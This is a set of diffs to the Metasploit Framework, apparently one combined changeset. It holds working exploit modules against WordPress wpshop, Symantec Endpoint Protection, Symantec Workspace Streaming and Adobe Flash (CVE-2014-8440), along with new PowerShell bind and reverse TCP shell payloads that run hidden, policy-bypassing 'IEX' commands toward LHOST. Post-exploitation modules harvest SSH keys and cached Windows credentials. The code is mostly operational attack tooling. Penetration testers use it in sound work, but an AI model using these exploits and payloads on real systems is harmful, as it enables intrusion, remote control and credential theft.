||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => post_data
|
||||||
|
)
|
||||||
|
|
||||||
|
if res
|
||||||
|
if res.code == 200 && res.body =~ /#{php_page_name}/
|
||||||
|
print_good("#{peer} - Payload uploaded as #{php_page_name}")
|
||||||
|
register_files_for_cleanup(php_page_name)
|
||||||
|
else
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Server did not answer")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Calling payload...")
|
||||||
|
send_request_cgi(
|
||||||
|
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', php_page_name) },
|
||||||
|
5
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
|
'Name' => 'Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
|
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
|
||||||
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
|
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
|
||||||
|
@ -32,10 +32,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2013-5014' ],
|
['CVE', '2013-5014'],
|
||||||
[ 'CVE', '2013-5015' ],
|
['CVE', '2013-5015'],
|
||||||
[ 'EDB', '31853'],
|
['OSVDB', '103305'],
|
||||||
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
|
['OSVDB', '103306'],
|
||||||
|
['EDB', '31853'],
|
||||||
|
['URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt']
|
||||||
],
|
],
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
|
|
@ -15,15 +15,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Symantec Workspace Streaming Arbitrary File Upload',
|
'Name' => 'Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a code execution flaw in Symantec Workspace Streaming. The
|
This module exploits a code execution flaw in Symantec Workspace Streaming. The
|
||||||
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
|
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
|
||||||
as_agent.exe service, which allows for uploading arbitrary files under the server root.
|
as_agent.exe service, which allows for uploading arbitrary files under the server root.
|
||||||
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
|
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
|
||||||
to achieve remote code execution. This module has been tested successfully on Symantec
|
to achieve remote code execution. This module has been tested successfully on Symantec
|
||||||
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
|
Workspace Streaming 6.1 SP8 and Windows 2003 SP2, and reported to affect 7.5.0.x.
|
||||||
machine deployment, and also in the backend role in a multiple machine deployment.
|
Abused services listen on a single-machine deployment and also in the backend role in
|
||||||
|
a multiple-machine deployment.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -34,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['CVE', '2014-1649'],
|
['CVE', '2014-1649'],
|
||||||
|
['OSVDB', '106923'],
|
||||||
['BID', '67189'],
|
['BID', '67189'],
|
||||||
['ZDI', '14-127'],
|
['ZDI', '14-127'],
|
||||||
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
|
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
|
||||||
|
@ -51,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
|
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
|
||||||
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy)
|
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse JBoss auto deploy)
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -227,11 +229,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
print_status("#{peer} - Leaking the jboss deployment directory...")
|
print_status("#{peer} - Leaking the JBoss deployment directory...")
|
||||||
jboss_path =jboss_deploy_path
|
jboss_path =jboss_deploy_path
|
||||||
|
|
||||||
if jboss_path.nil?
|
if jboss_path.nil?
|
||||||
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the jboss deployment directory")
|
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the JBoss deployment directory")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("#{peer} - Building WAR payload...")
|
print_status("#{peer} - Building WAR payload...")
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an unintialized memory vulnerability in Adobe Flash Player. The
|
||||||
|
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails
|
||||||
|
to initialize allocated memory. When using a correct memory layout this vulnerability
|
||||||
|
leads to a ByteArray object corruption, which can be abused to access and corrupt memory.
|
||||||
|
This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with
|
||||||
|
Flash 15.0.0.189.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Nicolas Joly', # Vulnerability discovery
|
||||||
|
'Unknown', # Exploit in the wild
|
||||||
|
'juan vazquez' # msf module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-8440'],
|
||||||
|
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'],
|
||||||
|
['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'],
|
||||||
|
['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'BrowserRequirements' =>
|
||||||
|
{
|
||||||
|
:source => /script|headers/i,
|
||||||
|
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||||
|
:ua_name => Msf::HttpClients::IE,
|
||||||
|
:flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' },
|
||||||
|
:arch => ARCH_X86
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Nov 11 2014',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
@swf = create_swf
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_exploit(cli, request, target_info)
|
||||||
|
print_status("Request: #{request.uri}")
|
||||||
|
|
||||||
|
if request.uri =~ /\.swf$/
|
||||||
|
print_status('Sending SWF...')
|
||||||
|
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status('Sending HTML...')
|
||||||
|
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_template(cli, target_info)
|
||||||
|
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||||
|
target_payload = get_payload(cli, target_info)
|
||||||
|
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||||
|
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||||
|
|
||||||
|
html_template = %Q|<html>
|
||||||
|
<body>
|
||||||
|
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||||
|
<param name="movie" value="<%=swf_random%>" />
|
||||||
|
<param name="allowScriptAccess" value="always" />
|
||||||
|
<param name="FlashVars" value="sh=<%=b64_payload%>" />
|
||||||
|
<param name="Play" value="true" />
|
||||||
|
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
|
||||||
|
</object>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
|
||||||
|
return html_template, binding()
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_swf
|
||||||
|
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf')
|
||||||
|
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||||
|
|
||||||
|
swf
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -235,10 +235,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if res and res.code != 502
|
if res and res.code != 502
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
if datastore['DEBUG']
|
|
||||||
print_line()
|
|
||||||
print_error(res.to_s)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
|
|
|
@ -157,10 +157,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if res and res.code != 502
|
if res and res.code != 502
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
if datastore['DEBUG']
|
|
||||||
print_error('')
|
|
||||||
print_error(res.to_s)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
|
|
|
@ -157,10 +157,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if res and res.code != 502
|
if res and res.code != 502
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
if datastore['DEBUG']
|
|
||||||
print_error('')
|
|
||||||
print_error(res.to_s)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
|
|
|
@ -91,10 +91,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# nothing
|
# nothing
|
||||||
end
|
end
|
||||||
|
|
||||||
if (datastore['DEBUG'])
|
|
||||||
print_status("Headers:\n" + headers.inspect)
|
|
||||||
print_status("Body:\n" + body.inspect)
|
|
||||||
end
|
|
||||||
disconnect
|
disconnect
|
||||||
[headers, body]
|
[headers, body]
|
||||||
end
|
end
|
||||||
|
|
|
@ -116,7 +116,6 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
print_status("Creating task: #{taskname}")
|
print_status("Creating task: #{taskname}")
|
||||||
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
|
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
|
||||||
# print_debug("Will Execute:\n\t#{cmdline}")
|
|
||||||
exec_schtasks(cmdline, "create the task")
|
exec_schtasks(cmdline, "create the task")
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -59,9 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
|
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
|
||||||
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
|
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
|
||||||
#print_debug("File to upload: #{file}")
|
|
||||||
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
|
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
|
||||||
#print_debug(pkt_size)
|
|
||||||
|
|
||||||
# Magic_code + packing + size
|
# Magic_code + packing + size
|
||||||
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
|
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
|
||||||
|
|
|
@ -0,0 +1,77 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base/sessions/powershell'
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
CachedSize = 1342
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Rex::Powershell::Command
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
|
||||||
|
'Description' => 'Interacts with a powershell session on an established socket connection',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ben Turner', # benpturner
|
||||||
|
'Dave Hardy' # davehardy20
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'windows',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Session' => Msf::Sessions::PowerShell,
|
||||||
|
'RequiredCmd' => 'generic',
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Offsets' => { },
|
||||||
|
'Payload' => ''
|
||||||
|
}
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
lport = datastore['LPORT']
|
||||||
|
lhost = datastore['LHOST']
|
||||||
|
|
||||||
|
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||||
|
script_in = ""
|
||||||
|
::File.open(template_path, "rb") do |fd|
|
||||||
|
script_in << fd.read(fd.stat.size)
|
||||||
|
end
|
||||||
|
script_in << "\npowerfun -Command bind"
|
||||||
|
|
||||||
|
mods = ''
|
||||||
|
|
||||||
|
if datastore['LOAD_MODULES']
|
||||||
|
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||||
|
mods_array.collect(&:strip)
|
||||||
|
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||||
|
mods_array.each {|m| vprint_good " #{m}"}
|
||||||
|
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||||
|
script_in << " -Download true\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
script_in.gsub!('MODULES_REPLACE', mods)
|
||||||
|
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||||
|
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||||
|
|
||||||
|
script = Rex::Powershell::Command.compress_script(script_in)
|
||||||
|
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,78 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base/sessions/powershell'
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
CachedSize = 1342
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
include Rex::Powershell::Command
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
|
||||||
|
'Description' => 'Interacts with a powershell session on an established socket connection',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ben Turner', # benpturner
|
||||||
|
'Dave Hardy' # davehardy20
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'windows',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::PowerShell,
|
||||||
|
'RequiredCmd' => 'generic',
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Offsets' => { },
|
||||||
|
'Payload' => ''
|
||||||
|
}
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate
|
||||||
|
lport = datastore['LPORT']
|
||||||
|
lhost = datastore['LHOST']
|
||||||
|
|
||||||
|
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||||
|
script_in = ""
|
||||||
|
::File.open(template_path, "rb") do |fd|
|
||||||
|
script_in << fd.read(fd.stat.size)
|
||||||
|
end
|
||||||
|
|
||||||
|
script_in << "\npowerfun -Command reverse"
|
||||||
|
|
||||||
|
mods = ''
|
||||||
|
|
||||||
|
if datastore['LOAD_MODULES']
|
||||||
|
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||||
|
mods_array.collect(&:strip)
|
||||||
|
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||||
|
mods_array.each {|m| vprint_good " #{m}"}
|
||||||
|
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||||
|
script_in << " -Download true\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
script_in.gsub!('MODULES_REPLACE', mods)
|
||||||
|
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||||
|
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||||
|
|
||||||
|
script = Rex::Powershell::Command.compress_script(script_in)
|
||||||
|
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,84 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/bind_tcp'
|
||||||
|
require 'msf/core/payload/windows/exec'
|
||||||
|
require 'msf/base/sessions/powershell'
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Extends the Exec payload to add a new user.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
CachedSize = 1543
|
||||||
|
|
||||||
|
include Msf::Payload::Windows::Exec
|
||||||
|
include Rex::Powershell::Command
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
|
||||||
|
'Description' => 'Listen for a connection and spawn an interactive powershell session',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ben Turner', # benpturner
|
||||||
|
'Dave Hardy' # davehardy20
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Session' => Msf::Sessions::PowerShell,
|
||||||
|
))
|
||||||
|
|
||||||
|
# Register command execution options
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||||
|
], self.class)
|
||||||
|
# Hide the CMD option...this is kinda ugly
|
||||||
|
deregister_options('CMD')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override the exec command string
|
||||||
|
#
|
||||||
|
def command_string
|
||||||
|
lport = datastore['LPORT']
|
||||||
|
|
||||||
|
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||||
|
script_in = ""
|
||||||
|
::File.open(template_path, "rb") do |fd|
|
||||||
|
script_in << fd.read(fd.stat.size)
|
||||||
|
end
|
||||||
|
|
||||||
|
script_in = File.read(template_path)
|
||||||
|
script_in << "\npowerfun -Command bind"
|
||||||
|
|
||||||
|
mods = ''
|
||||||
|
|
||||||
|
if datastore['LOAD_MODULES']
|
||||||
|
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||||
|
mods_array.collect(&:strip)
|
||||||
|
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||||
|
mods_array.each {|m| vprint_good " #{m}"}
|
||||||
|
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||||
|
script_in << " -Download true\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
script_in.gsub!('MODULES_REPLACE', mods)
|
||||||
|
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||||
|
|
||||||
|
script = Rex::Powershell::Command.compress_script(script_in)
|
||||||
|
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,84 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
require 'msf/core/payload/windows/exec'
|
||||||
|
require 'msf/base/sessions/powershell'
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Extends the Exec payload to add a new user.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
CachedSize = 1527
|
||||||
|
|
||||||
|
include Msf::Payload::Windows::Exec
|
||||||
|
include Rex::Powershell::Command
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
|
||||||
|
'Description' => 'Listen for a connection and spawn an interactive powershell session',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Ben Turner', # benpturner
|
||||||
|
'Dave Hardy' # davehardy20
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Session' => Msf::Sessions::PowerShell,
|
||||||
|
))
|
||||||
|
|
||||||
|
# Register command execution options
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||||
|
], self.class)
|
||||||
|
# Hide the CMD option...this is kinda ugly
|
||||||
|
deregister_options('CMD')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Override the exec command string
|
||||||
|
#
|
||||||
|
def command_string
|
||||||
|
lport = datastore['LPORT']
|
||||||
|
lhost = datastore['LHOST']
|
||||||
|
|
||||||
|
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||||
|
script_in = ""
|
||||||
|
::File.open(template_path, "rb") do |fd|
|
||||||
|
script_in << fd.read(fd.stat.size)
|
||||||
|
end
|
||||||
|
script_in << "\npowerfun -Command reverse"
|
||||||
|
|
||||||
|
mods = ''
|
||||||
|
|
||||||
|
if datastore['LOAD_MODULES']
|
||||||
|
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||||
|
mods_array.collect(&:strip)
|
||||||
|
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||||
|
mods_array.each {|m| vprint_good " #{m}"}
|
||||||
|
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||||
|
script_in << " -Download true\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
script_in.gsub!('MODULES_REPLACE', mods)
|
||||||
|
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||||
|
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||||
|
|
||||||
|
script = Rex::Powershell::Command.compress_script(script_in)
|
||||||
|
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -61,7 +61,8 @@ class Metasploit3 < Msf::Post
|
||||||
data = read_file("#{path}#{sep}#{file}")
|
data = read_file("#{path}#{sep}#{file}")
|
||||||
file = file.split(sep).last
|
file = file.split(sep).last
|
||||||
|
|
||||||
print_good("Downloaded #{path}#{sep}#{file}")
|
loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
|
||||||
|
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
|
||||||
|
|
||||||
begin
|
begin
|
||||||
key = SSHKey.new(data, :passphrase => "")
|
key = SSHKey.new(data, :passphrase => "")
|
||||||
|
|
|
@ -27,11 +27,6 @@ class Metasploit3 < Msf::Post
|
||||||
'SessionTypes' => ['meterpreter'],
|
'SessionTypes' => ['meterpreter'],
|
||||||
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
|
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptBool.new('DEBUG', [true, 'Debugging output', false])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -44,7 +39,7 @@ class Metasploit3 < Msf::Post
|
||||||
def capture_nlkm(lsakey)
|
def capture_nlkm(lsakey)
|
||||||
nlkm = registry_getvaldata("HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", "")
|
nlkm = registry_getvaldata("HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", "")
|
||||||
|
|
||||||
print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}")
|
||||||
|
|
||||||
if lsa_vista_style?
|
if lsa_vista_style?
|
||||||
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
|
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
|
||||||
|
@ -306,7 +301,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
